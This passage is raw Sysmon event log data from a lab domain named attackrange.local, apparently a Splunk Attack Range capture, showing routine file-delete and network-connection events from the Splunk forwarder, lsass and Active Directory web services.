Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63155-false10.0.1.12-8000- 23542300x800000000000000055708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:52.139{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8046E69C4F2BD1A71719FE6E83AB1F07,SHA256=D40FE57EF2F2718CD36DD6D9B6FE2789F6BE3E92906CAA5A57AB5047E9EABC26,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017890Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:53.415{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE6B09509B77774D8A7813D22073F0B3,SHA256=E31F507614C3A757E5FE6DFEC6ADE26394F91EFD51C6E74BDB120DA32097EE50,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:53.986{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:53.154{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1B8C3AB6CC33C8017D908C05DC531FB,SHA256=A553257664E19749BD8A2AFD857CF3C1D00EBF5557CD18A42E06365B08728795,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017892Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:53.564{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50386-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017891Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:54.462{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9620BADDFD19A6C3D40D2C6F29DC598,SHA256=187459337F1EDCEDE2F57F86247524A6D4716B113BA239EE696040DB663CF9C3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:54.187{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C99D08EC555839E181E984F07A12A5CF,SHA256=D99A43319A40FE1029D3D0A78BEE2134D6C4E80D7B42732B1E9BC9FCD84D6868,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:55.285{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D955DBA6A0F254D540E6406016E94BC0,SHA256=6854D8036C979E4BE62581EE9589D6661C50324F43A7A4DE059EE6764C7A8897,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017894Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:55.478{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E6F4F58612E6B6286AA3D02C93A1E4ED,SHA256=3E2D9E8FB3418B47517EB6E7285972A5C6868D4565BF9FC6737F942FC7F425FC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017893Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:55.212{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017895Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:56.493{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=421EB184350E7414D84F597119AADEB0,SHA256=F0A0BFD429B7D13A6D04FD3D0BBBF748B48B91775DD5099751B8EC0AD9B12DA8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:56.322{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BA85B9BC67D7F8E756F322BA26B007B,SHA256=484DAC33C0DD98AF5D092C3E36E2473216819732E9836CD467CB61341BAE188B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017897Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:55.517{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50387-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017896Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:57.509{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1AD6071FA1C61066FFEF3EB63483E65A,SHA256=D7E5D0928A8FF89C4C4AD14CB18E41FFBE9D180265ED2B6B6C31F0239FC4A812,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:57.337{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5A05A653753F726324AF85BB7D78235,SHA256=E5E7C1489EFB919B2E98D2060033D14F887F3E4B7611B26A0922764BAF785EAC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017898Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:58.524{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE0DE2DA1720748C5B1CD9A596D3D805,SHA256=16713ACF665DA9A2168D5AF35AE388255BF57AC8B31365FC9040165914300D6A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:56.376{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63156-false10.0.1.12-8000- 23542300x800000000000000055716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:58.352{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88306B68377992CF1F990D7D8D624403,SHA256=4FA2A2C9CFA53A7F0343103B62F8C9279CEFB8ACFC77600AFFB0E200D7411310,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:59.453{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=28A1020507F9829DCFC70FC6EEAC72DA,SHA256=222BC531FF0C4BC50A069341020712E6AB99AB71B1ABECB44BD2DE83962A9961,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:59.453{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5D2B10DC89C669898798AE74FA13EAEC,SHA256=9C4508A2EF327A004CA86295C86ED53201D06D26DF4A822D7145AEABB9735D7F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:59.353{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E84B250725A39BD6EB8ADCDD9E06447,SHA256=576A11B531B78BE34FD9417A64948F6442B5B521A1FC7C70B719806146826551,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017899Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:59.524{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E97122637C05CE0BE28D63ABDE790635,SHA256=E404428DA025ECAE01B0745DD4461B6A3055E9CCC4B85E42EAF12AEC91B9BE7C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:57.729{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63157-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000055722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:57.729{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63157-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000055721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:00.386{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2670CE9EB3F6EFBB57C6359A4878C26,SHA256=8492E1984723AB589ADED1E0BD428587D891D70B567EFD07015B3E118030E63B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017900Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:00.540{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC320151D9C14C5721B671852F13D8E3,SHA256=409795D087BF47266140E871F6A62D3561CAAE02A3A62657D27F37AA002AF904,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:01.467{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FDC16C1398F9A0648F80748FF32DEA9C,SHA256=1DE0222EFFFE01372925F1AA23CFD72E123437A588FA0227D2AB9BE43C62DACB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017902Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:59.458{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50388-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017901Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:01.555{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0E6AECE1A4A30B4F6912DEF0BCB1A395,SHA256=8A9CA43055015452D570FD31B2D30FCF89D830105D387762F7E49908E3DC1180,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017904Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:02.571{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2CDF78A0C9A6F75B90C40A137780AC22,SHA256=CED54E2F15317FA335A498F680437A0F8912C641A58ACD3FEF6EE7FA37608406,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:02.520{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D23EFB693C319FFE42AD08FAE376821,SHA256=F71C04265EA9DB135041E70F1039E1DCD56F64463BBA4E9E2568379E1972D1B8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017903Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:02.368{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=814AFFD53F415640E0C2A4049E85B26F,SHA256=FAB6A3EAD4ACADAA1A10B7685CB7256E99F9A4DA7A48B267B403572666D3E508,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:01.457{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63158-false10.0.1.12-8000- 23542300x800000000000000055726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:03.550{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52787374E9F9CAB35B0B9FABE67DB90F,SHA256=CC6DD713DC57004C39C37E874D3710AF63025C7D12D6D0ABD7AD6389CDAA1A90,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017905Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:03.571{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FC22E9C5FF086DE4415AA17B803A33B,SHA256=0FC1C8F0A3D2D6B0DA02A84F4281C36B4503369A5E0C9EAFC52EA04CDDA64BC5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:04.665{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D09A05BC749040E9B666129E59639E81,SHA256=18F5BDC3653EDF83E64C732BE217FAA937CD3E943BB6CCD0C4CDDBDD47851BEA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017906Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:04.587{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89BF30A0606E2EFA9628C773E3186876,SHA256=930EA95F1A63909BDA5EEF6EF6FE96C7851148A0E28051B71F98B940707C055E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:05.682{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=30D0C5722F014EDB1A8BCFFA148602B2,SHA256=45E61431E81FC084C3D25D77EB2723B481E562EB232D2AD621EF629920C0CD34,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017907Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:05.602{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5B54B68DF56BF7834504A42C62B87E16,SHA256=0A0A0138F5FA509A3B9B6D34E1D850057ADB91CCF43781DFC05B62D0CB1FB6D5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:06.717{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=42C117D1DE758261B56125C0FA68F9C9,SHA256=814DFA6086352E2C26ED64B8ECC2DBC9BE67787ECF31014A91429ADF4BBF1F92,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017909Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:06.602{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=04DA77E4910C4C76C297375F4683FB13,SHA256=589EA6FC0AEA80CB9D8B011D96B52F8DC25861994FA32C59168F967DDE09B58A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017908Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:04.579{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50389-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000055731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:07.748{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F55AD9FED347C1860233C455C242EBA,SHA256=588A965E58FF4ABC0E1CDF807C6E5F03E81202441779EF5B6C87856533DFE530,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017910Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:07.618{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17CFE15A52DAAA168C9F155E8C354BBC,SHA256=6F1C4A9B396260B21052963BD4CEC062572A0E94FD26A0CF2F85DDCE5F7830EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:08.782{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2287C1149100663AB10A826E335E594,SHA256=8246676BF26F0F70B3B0C6FB20AE1BFAFAD1A4174DC6E6DC5CD4F77C58D02FF2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017911Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:08.618{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F7C48B8B046230F020E368C7582596E,SHA256=AD557962663C52512D9DF64E045D20C3034D895524BE7DA825BD774A72232E23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:09.848{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=212EDBD00A25E655AACB800FA252CADA,SHA256=593866C42355526A7204064690EB6685642AC132A135FD9E6889C31E781AB8CE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017912Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:09.633{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97E12B0B4119F1C5CB1622D9458C6667,SHA256=A9F235D3F252CA03150CA4F542F1E4956FB9EAF95F43C28D4F0BE425E6F9612F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:06.508{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63159-false10.0.1.12-8000- 23542300x800000000000000055735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:10.881{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9AAEE85D20F208519896FFD2A7CA9771,SHA256=183A0B411440F2247BF33A98EA7D3A565AD36C09DD200995A938DCE8DA4E5D13,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017913Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:10.649{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=867355EF56AB25767D9265FFA4BB82B6,SHA256=E3B02CB6A665D18A3676641268C0E92A01BD302409269B3ED98614A167BDD020,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:11.979{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1AE24C59F6FC0E8569014BE7E408623,SHA256=0C61E18B2045FF8DEB727953AC6F61A1F9D8D81C808CF74EA56CC9DC198A4969,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017914Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:11.653{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 